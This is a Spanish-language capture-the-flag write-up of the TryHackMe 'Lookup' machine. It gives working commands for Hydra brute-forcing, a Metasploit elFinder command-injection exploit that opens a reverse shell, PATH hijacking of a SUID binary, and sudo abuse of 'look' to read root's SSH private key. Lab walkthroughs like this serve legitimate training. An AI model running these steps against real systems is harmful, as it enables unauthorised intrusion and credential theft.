Lookup

Configuracion del host

Primero entraremos a etc/hosts para configurar la ip junto con su dominio

Inspección de la Red con Nmap

Comenzamos con un escaneo de la red para identificar los servicios activos en el dominio:

nmap -sS -sV 10.10.220.167 -oN resultado.txt

Resultado de Nmap

Se identificaron dos servicios activos:

# Nmap 7.94SVN scan initiated Fri Feb 21 16:39:30 2025 as: /usr/lib/nmap/nmap --privileged -A -oN resultado.txt lookup.thm
Nmap scan report for lookup.thm (10.10.220.167)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login Page
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

• SSH (puerto 22)

• HTTP (puerto 80)

---

Acceso a la Página Web

Accedemos al servicio HTTP mediante el navegador y encontramos la siguiente pantalla de login:

Intentamos probar credenciales comunes y obtenemos un mensaje de usuario o contraseña incorrecta:

Al analizar más a fondo con Burp Suite, encontramos que cuando se introduce un usuario válido, la respuesta cambia indicando "Contraseña incorrecta", lo que permite la identificación de usuarios mediante fuerza bruta.

---

Ataque de Fuerza Bruta con Hydra

Configuramos Hydra para identificar usuarios válidos:

hydra -L usuarios.txt -p abc lookup.thm http-post-form "/login.php:username=^USER^&password=abc:F=Wrong password"

Usuarios identificados:

• admin

• jose

Ahora, buscamos contraseñas para estos usuarios. Solo encontramos la contraseña de jose:

---

Explotación del Servicio elFinder

Nos autenticamos y accedemos al servicio elFinder. Tras inspeccionar su versión (2.1.47), encontramos que es vulnerable.

Utilizamos Metasploit para explotarlo:

msf6 > use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set RHOSTS lookup.thm
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set LHOST 10.6.17.22
msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > exploit

Acceso conseguido como www-data en una shell restringida:

---

Escalada de Privilegios - Parte 1

Revisamos /etc/passwd y encontramos que el usuario think tiene permisos interesantes:

Buscamos archivos SUID para identificar posibles vías de escalamiento:

find / -perm -4000 -type f 2>/dev/null

Ejecutable identificado: /usr/sbin/pwm Al analizar su funcionamiento, descubrimos que permite recuperar el historial de contraseñas de usuarios.

---

Obtención de la Contraseña de think

Creamos un archivo en /tmp/id y lo configuramos para obtener la contraseña de think:

echo "#!/bin/bash" > /tmp/id
echo "uid=33(think) gid=33(think) groups=(think)" >> /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
/usr/sbin/pwm

Historial de contraseñas recuperado: Creamos un diccionario con estas contraseñas y usamos Hydra para atacar SSH:

hydra -l think -P pass ssh://lookup.thm

Credenciales obtenidas:

• Usuario: think

• Contraseña: josemario.AKA(think)

Nos autenticamos en SSH:

ssh [e-mail]

Flag de usuario obtenida:

cat user.txt

---

Escalada de Privilegios - Parte 2

Revisamos los permisos sudo del usuario think:

sudo -l

Permiso especial detectado:

User think may run the following commands on lookup:
    (ALL) /usr/bin/look

Usamos look para ver si hay una clave privada de SSH:

sudo /usr/bin/look '' /root/.ssh/id_rsa

Clave privada obtenida:

La configuramos con permisos adecuados y accedemos como root:

chmod 600 id_rsa
ssh -i id_rsa [e-mail]

Última flag obtenida:

cat /root/root.txt

---

Conclusión

• Identificamos servicios vulnerables con Nmap.

• Descubrimos usuarios válidos mediante fuerza bruta con Hydra.

• Explotamos el servicio elFinder con Metasploit.

• Escalamos privilegios explotando un binario SUID (pwm).

• Obtenemos acceso root usando sudo y el comando look.

---

🏴‍☠️ Frase Inspiradora

"Si le das a un hacker un juguete nuevo, lo primero que hará es desmontarlo para ver cómo funciona." – Jamie Zawinski